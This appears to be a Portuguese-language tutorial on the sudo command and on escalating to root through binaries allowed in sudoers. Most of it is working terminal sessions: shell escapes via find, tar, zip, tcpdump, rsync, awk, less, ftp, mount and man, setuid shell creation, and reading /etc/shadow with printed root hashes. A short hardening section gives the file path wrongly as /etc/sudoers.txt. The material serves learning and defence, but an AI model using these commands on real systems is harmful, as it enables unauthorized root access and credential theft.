Oque é o SUDO?

sudo é um comando de sistemas *Unix que permite usuários comuns de obter privilégios de outro usuário.

A syntax básica do comando SUDO é:

$ sudo -u <comando(s)>

Tendo isso em mente, vamos supor que você está em um servidor, você deseja ler o arquivo “secret.txt”, porém você está logado como o usuário “gab” e apenas o usuário “tom” tem permissões para leitura deste arquivo, teremos então que ler o arquivo secret.txt (cat secret.txt) com privilégios do usuário tom, lidando com isso, fariamos o seguinte comando:

$ sudo -u tom cat secret.txt

Caso o usuário tom nao tenha uma password ou você tenha conhecimento da mesma, tudo acontecera corretamente, e a leitura do arquivo “secret.txt” será feita normalmente.

Com pequenas alterações no arquivo /etc/sudoers.txt, podemos restringir apenas certos comandos a serem efetuados com sudo, de modo que, seja complicado escalar privilégios usando essa técnica. Porém, essa “defesa” é pouco eficiente, devido ao fato de que, a maioria dos binários nativos de um sistema Linux, permitem a escalação de privilégios, veremos sobre isso a seguir…

Escalando Privilégios

A seguir, vou ver quais comandos posso executar como SUDO.
No caso abaixo, posso executar apenas o “comando” /usr/bin/nmap, sem precisar suprir qualquer password (NOPASSWD), como o usuário root

fex0r:~$ sudo -l
Matching Defaults entries for fex0r on fex0r:
env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin,
pwfeedback
User fex0r may run the following commands on fex0r:
(root) NOPASSWD: /usr/bin/nmap

Agora que você tem conhecimento básico sobre o SUDO, veremos a seguir maneiras de escalar privilégios usando SUDO + binários “comuns” de um sistema *unix

Usando NMAP

fex0r:~$ sudo nmap -iL /etc/shadow 2>&1 | grep root
[sudo] password for fex0r:

Failed to resolve “root:$6$tacLae7v$blr1A8KS2WwHTLgttagiFMgGa94JEkKXVNXAm8a5Lg5vJrdowQTiycwML9M2ibBF6Vu4KZAHcOgOLuqrc6kdn0:16135:0:99999:7:::”.

Usando file

fex0r:~$ sudo file -m /etc/shadow /etc/shadow, 1: Warning: offset `root:$6$5EZeAFXG$V.b3POklvJLNMt0cIEIQecW2Co6cKFUXmDR5bHVjWdsgTJq8URt6m7zBfNFNxdMEZHD7F4esGON.OED88HBPn1:16491:0:99999:7:::’ invalid […]

Usando TCPDUMP

fex0r:~$ echo -e “cp /bin/sh /tmp/sh_suid\nchmod 7555 /tmp/sh_suid” > tmpfile
fex0r:~$ chmod +x tmpfile
fex0r:~$ sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z ./tmpfile -Z root
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes
Maximum file limit reached: 1
fex0r:~$ ls -l /tmp/sh_suid
-r-sr-sr-t 1 root root 117176 May 19 10:14 /tmp/sh_suid
fex0r:~$ /tmp/sh_suid

whoami

root

Usando ZIP

fex0r:~$ touch somefile
fex0r:~$ sudo zip -q /tmp/test.zip somefile -T -TT ‘/bin/sh #’

id

uid=0(root) gid=0(root) groups=0(root)

Usando FIND

fex0r:~$ sudo find /dev/null -exec sh \;
id
uid=0(root) gid=0(root) groups=0(root)

Usando TAR

fex0r:~$ touch somefile
fex0r:~$ sudo tar cf /dev/null somefile –checkpoint=1 –checkpoint-action=exec=/bin/sh

id

uid=0(root) gid=0(root) groups=0(root)

Usando RSYNC

fex0r:/tmp$ cat > somefile « EOF

cp /bin/sh /tmp/sh_root
chmod a+sx /tmp/sh_root
EOF
fex0r:/tmp$ sudo rsync -e ‘sh /tmp/somefile’ /dev/null 127.0.0.1:/dev/null 2>/dev/null
fex0r:/tmp$ /tmp/sh_root

whoami

root

Usando AWK

fex0r:~$ sudo awk ‘BEGIN {system(“/usr/bin/id”)}’
uid=0(root) gid=0(root) groups=0(root)

Usando LESS/MORE

fex0r:~$ sudo more /dev/zero
[…..]
!bash
[email protected]:~# id
uid=0(root) gid=0(root) groups=0(root)

Usando FTP (client)

fex0r:~$ sudo ftp
ftp> !id
uid=0(root) gid=0(root) groups=0(root)
ftp>

Usando MOUNT

fex0r:~$ sudo mount -o bind /bin/bash /bin/mount
fex0r:~$ sudo mount
root:~# id
uid=0(root) gid=0(root) groups=0(root)

Usando MAN

fex0r:~$ sudo man -P id man
uid=0(root) gid=0(root) groups=0(root)

Criando uma proteção contra Escalações de Privilégio baseadas em SUDO

Simplesmente, não deixe nenhum comando ser executado com SUDO. Podemos fazer isso da seguinte forma:

  1. Abra o arquivo /etc/sudoers.txt com o seu editor favorito. É necessário estar logado como root (su) para fazer isso.
  2. Adicione um “#” na frente de qualquer linha que comece com “%”, tais como:
    • %sudo ALL=(ALL:ALL) ALL
    • %admin ALL=(ALL) ALL
  3. Salve e feche o arquivo.

Após isso, veja quais comandos podem ser executados com SUDO (estando logado como um usuário comum). Faça isso da seguinte forma:

fex0r:~$ sudo -l
[sudo] password for fex0r:
Sorry, user fex0r may not run sudo on fex0r.

Caso tudo tenha sido feito corretamente, você verá a mensagem “Sorry, user may not run sudo[…]”, como demonstrado no exemplo acima.